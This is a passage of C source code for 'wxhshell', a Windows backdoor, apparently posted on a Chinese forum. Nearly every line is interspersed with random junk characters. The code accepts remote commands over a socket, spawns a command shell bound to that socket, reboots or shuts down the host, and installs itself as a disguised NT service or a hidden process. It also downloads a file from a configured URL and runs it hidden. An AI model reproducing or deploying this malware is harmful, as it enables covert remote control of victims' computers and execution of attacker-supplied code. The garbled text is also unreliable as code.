    switch(cmd[0]) { &;DCN  
  y!b2;- Dp  
  // 帮助 I~&*^q6 |  
  case '?': { 2P"643tz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); LKM018H>  
    break; JWNN5#=fQ  
  } W Z'<iI  
  // 安装 >V"{]v  
  case 'i': { 9<gW~ s>  
    if(Install()) ]3 "0#Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &W\e 5X<A  
    else ?MH=8Cl1w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `i`P}W!F  
    break; w|f+OlPXq  
    } y!b"Cj  
  // 卸载 f)Qln[/  
  case 'r': { \@@G\\)er  
    if(Uninstall()) nt2b}u>*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I): c#  
    else QRju9x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qsbyy>o)  
    break; G#%Sokkb'  
    } 7J);{ &x9h  
  // 显示 wxhshell 所在路径 sPNm.W$_  
  case 'p': { .q 2r!B  
    char svExeFile[MAX_PATH]; Bl+\|[yd  
    strcpy(svExeFile,"\n\r"); uuM1_nD[  
      strcat(svExeFile,ExeFile); sVh)Ofn  
        send(wsh,svExeFile,strlen(svExeFile),0); I#OZ:g^  
    break; %Xc,l Y1?  
    } :W)lt28_  
  // 重启 Zf$mwRS[_  
  case 'b': { n*[ZS[I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !j$cBf4  
    if(Boot(REBOOT)) Ce+:9}[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mZiKA-t  
    else { ThV>gn5  
    closesocket(wsh); y3;M$Jr  
    ExitThread(0); }1 O"?6  
    } _g Mr]%Q  
    break; S<T 'B0r8  
    } ?= 7k<a~  
  // 关机 }XUL\6U  
  case 'd': { wqG#jC!5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &k'<xW?x  
    if(Boot(SHUTDOWN)) kwp%5C-S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'd N1~Pa  
    else { #w''WOk@ZG  
    closesocket(wsh); f>Rux1Je4  
    ExitThread(0); x_3B) &9  
    } &$XTe2  
    break; ? l~qb]._  
    } :Quep-:fy<  
  // 获取shell #H6YI3 `G  
  case 's': { )xVf3l pQ  
    CmdShell(wsh); lW"0fZ_x'E  
    closesocket(wsh); Jj)J5 S /  
    ExitThread(0); b}(c'W*z%  
    break; ;gL{*gR]S  
  } mX>N1zAz  
  // 退出 fgqCX:SWz  
  case 'x': { }k.yLcXM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6"_pCkn;c<  
    CloseIt(wsh); 1L`V{\_0s  
    break; ,hf W2}  
    } 6D| F1UFU  
  // 离开 Ko&4{}/  
  case 'q': { 1 V]ws}XW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GG%;~4#2  
    closesocket(wsh); azFJ-0n@"  
    WSACleanup(); fln[Q2zl  
    exit(1); w7` pbcY,  
    break; S0StC$$1  
        } Ab[o~X"  
  } b"\lF1Nf&o  
  } fTpG>*{p  
jUD^]Qs  
  // 提示信息 vVMoCG"f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m$C1Ea-wnT  
} </kuJh\  
  } 8GBKFNR 8  
E q4tcZ  
  return; #6a!OQj  
} l[~$9C'ji  
@|cHDltH  
// shell模块句柄 E-1u_7  
int CmdShell(SOCKET sock) Z;N3mD+\ye  
{ .RmFYV0,  
STARTUPINFO si; sf$hsPC^  
ZeroMemory(&si,sizeof(si)); Y;R,ph.a  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g}R#0gkdk}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E-^(VZ_Xj  
PROCESS_INFORMATION ProcessInfo; 9Tr ceL;  
char cmdline[]="cmd"; Ytc[ kp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 48z%dBmTT*  
  return 0; o6^ETQ  
} TfJ*G6\7e#  
eV%{XR?y  
// 自身启动模式 auGK2i  
int StartFromService(void) =?W7OV^BE  
{ i\;ZEM{  
typedef struct Y'000#+  
{ :ek^M (  
  DWORD ExitStatus; y =sae  
  DWORD PebBaseAddress; Lios1|5  
  DWORD AffinityMask; |11vm#  
  DWORD BasePriority; ;1yF[<a  
  ULONG UniqueProcessId; {Y/0BS2D  
  ULONG InheritedFromUniqueProcessId;  #*rJI3  
}   PROCESS_BASIC_INFORMATION; #yIHr&'oX  
u ]y[g  
PROCNTQSIP NtQueryInformationProcess; '0 ~?zP  
'DXT7|Df  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h<M1q1)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t ]Ln(r  
1.u^shc&|  
  HANDLE             hProcess; y=pW+$k  
  PROCESS_BASIC_INFORMATION pbi; /":/DwI'   
dn}EM7:Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tBkgn3w  
  if(NULL == hInst ) return 0; EZ>(}  
0t7)x8c  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N"<.v6Z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =RXeN+ &R  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6|'7Mr~\  
;o)'dK  
  if (!NtQueryInformationProcess) return 0; s]e `q4ip  
~-NSIV:f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yp4[EqME  
  if(!hProcess) return 0; p& $PsgR  
Ohgu*5!o  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oMemF3M  
UhDf6A`]  
  CloseHandle(hProcess); l?IeZisX  
94O\M RQ*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z,AY<[/C  
if(hProcess==NULL) return 0; u(yN81  
Ohj^Z&j  
HMODULE hMod; b00$3,L   
char procName[255]; 1p5'.~J+Q  
unsigned long cbNeeded; \: F$7 *Ne  
fe<7D\Sp@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y=|20Y\K  
2%fzRXhu%  
  CloseHandle(hProcess); ~tTn7[!  
s>G]U)d<'  
if(strstr(procName,"services")) return 1; // 以服务启动 W4av?H  
FZ%h7Oe  
  return 0; // 注册表启动 gnzg(Y]5w  
} PX?%}~ v  
AvZ5?rN$  
// 主模块 CAviP61T  
int StartWxhshell(LPSTR lpCmdLine) Rs{8vV  
{ LEjq<t1&  
  SOCKET wsl; uWClT):  
BOOL val=TRUE; JFc, f  
  int port=0; (!8b$) k  
  struct sockaddr_in door; l'Za"TL:  
jmgkY)rb R  
  if(wscfg.ws_autoins) Install(); )c*xKij  
qT$IV\;_  
port=atoi(lpCmdLine); yogL8V-^4  
*w. ":\P]  
if(port<=0) port=wscfg.ws_port; ,]yS BAO  
\"RCJadK  
  WSADATA data; XXX y*/P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ld#x'/  
{[:C_Up)f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   lb9?Uc@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #J3}H   
  door.sin_family = AF_INET; irm4lb5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q jXJo$I6  
  door.sin_port = htons(port); *k#"@  
$Bncdf  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z.SKawm6T  
closesocket(wsl); *-fd$l.  
return 1; a+J>  
} 6Q>:vQ+E  
oV['%Z'  
  if(listen(wsl,2) == INVALID_SOCKET) { tA4Ra,-c  
closesocket(wsl); n6,YA2yZO  
return 1; vy5Fw&?"  
} !^y;|9?O  
  Wxhshell(wsl); -3? <Ja  
  WSACleanup(); (x/:j*`K  
zd8A8]&-  
return 0; a;KdkykG  
JW><&hY$"  
} ?[bE/Ya+S  
2V% z=  
// 以NT服务方式启动 &d6ud |  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c\>I0HH;!  
{ Z2g<"M  
DWORD   status = 0; W;R6+@I[  
  DWORD   specificError = 0xfffffff; _IOUhMo  
Q\IViM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~a3u['B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8Uh|V&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S-\wX.`R1  
  serviceStatus.dwWin32ExitCode     = 0; -Wmb M]Z  
  serviceStatus.dwServiceSpecificExitCode = 0; %X\A|V&  
  serviceStatus.dwCheckPoint       = 0; S]%,g%6i  
  serviceStatus.dwWaitHint       = 0; r{d@74  
hTO 2+F*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ECM#J28D  
  if (hServiceStatusHandle==0) return; '3^qW  
nG5\vj,zB  
status = GetLastError(); j>\rs|^O  
  if (status!=NO_ERROR) |[5;dt_U/  
{ Y R~e_cA:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; uUHWTyoO  
    serviceStatus.dwCheckPoint       = 0; ??B!UXi4R  
    serviceStatus.dwWaitHint       = 0; vv Y?8/  
    serviceStatus.dwWin32ExitCode     = status; H!}L(gjEG  
    serviceStatus.dwServiceSpecificExitCode = specificError; z8S]FpM6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); HH6H4K3Zj  
    return; ?&,6Y'"  
  } z<!A;.iD  
qHe H/e%`V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1V[ZklS  
  serviceStatus.dwCheckPoint       = 0; c-NUD$  
  serviceStatus.dwWaitHint       = 0; &@{`{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &I)tI^P}  
} g%]<sRl:-  
PCgr`($U  
// 处理NT服务事件,比如:启动、停止 h"8[1 ;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l}-k>fug  
{ ziO(`"v  
switch(fdwControl) [cEGkz  
{ 9'~qA(=.?  
case SERVICE_CONTROL_STOP: &,PA+#  
  serviceStatus.dwWin32ExitCode = 0; Z>3~n  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |zfFB7}v  
  serviceStatus.dwCheckPoint   = 0; Mi(6HMA.SF  
  serviceStatus.dwWaitHint     = 0; @VOegf+N  
  { ^J^~5q8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?xMTO  
  } !.V_?aYi8  
  return; gU&+^e >  
case SERVICE_CONTROL_PAUSE: 2<n 18-|OQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; OPq|4xu  
  break; &Q"vXs6Gt  
case SERVICE_CONTROL_CONTINUE: N GnE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -*w2<DCn  
  break; q3/4l%"X  
case SERVICE_CONTROL_INTERROGATE: yr>J^Et%_  
  break; p}!)4EI=  
}; O\;Lb[`lb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3HP { a  
} H@zv-{}T8  
jZidT9[g  
// 标准应用程序主函数 U)-aecB!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qgEzK  
{ r^"sZk#  
ph(LsPT-  
// 获取操作系统版本 q0>9T  
OsIsNt=GetOsVer(); />9`Mbg[G  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |8k^jq  
5lzbg   
  // 从命令行安装 B3[X{n$px  
  if(strpbrk(lpCmdLine,"iI")) Install(); B$s6|~  
a}VR>!b  
  // 下载执行文件 ZT/f  
if(wscfg.ws_downexe) { Z \ @9*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zSsBbu:  
  WinExec(wscfg.ws_filenam,SW_HIDE); s/~[/2[bnf  
} ? B|i  
9dszn^]T  
if(!OsIsNt) { "3Dnp?gB  
// 如果时win9x,隐藏进程并且设置为注册表启动 +J|LfXgB  
HideProc(); 5M)B  
StartWxhshell(lpCmdLine); {*CG&-k2D  
} @g#| srYD  
else "tk1W>liIN  
  if(StartFromService()) U$a)lcJd  
  // 以服务方式启动 ;{iTS sb  
  StartServiceCtrlDispatcher(DispatchTable); uW[AnQ1w  
else PPpaH!(D  
  // 普通方式启动 t,XbF  
  StartWxhshell(lpCmdLine); zTG1 0  
FChW`b&S  
return 0; xk8NX-:  
}
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只看该作者 1 发表于: 2006-10-10
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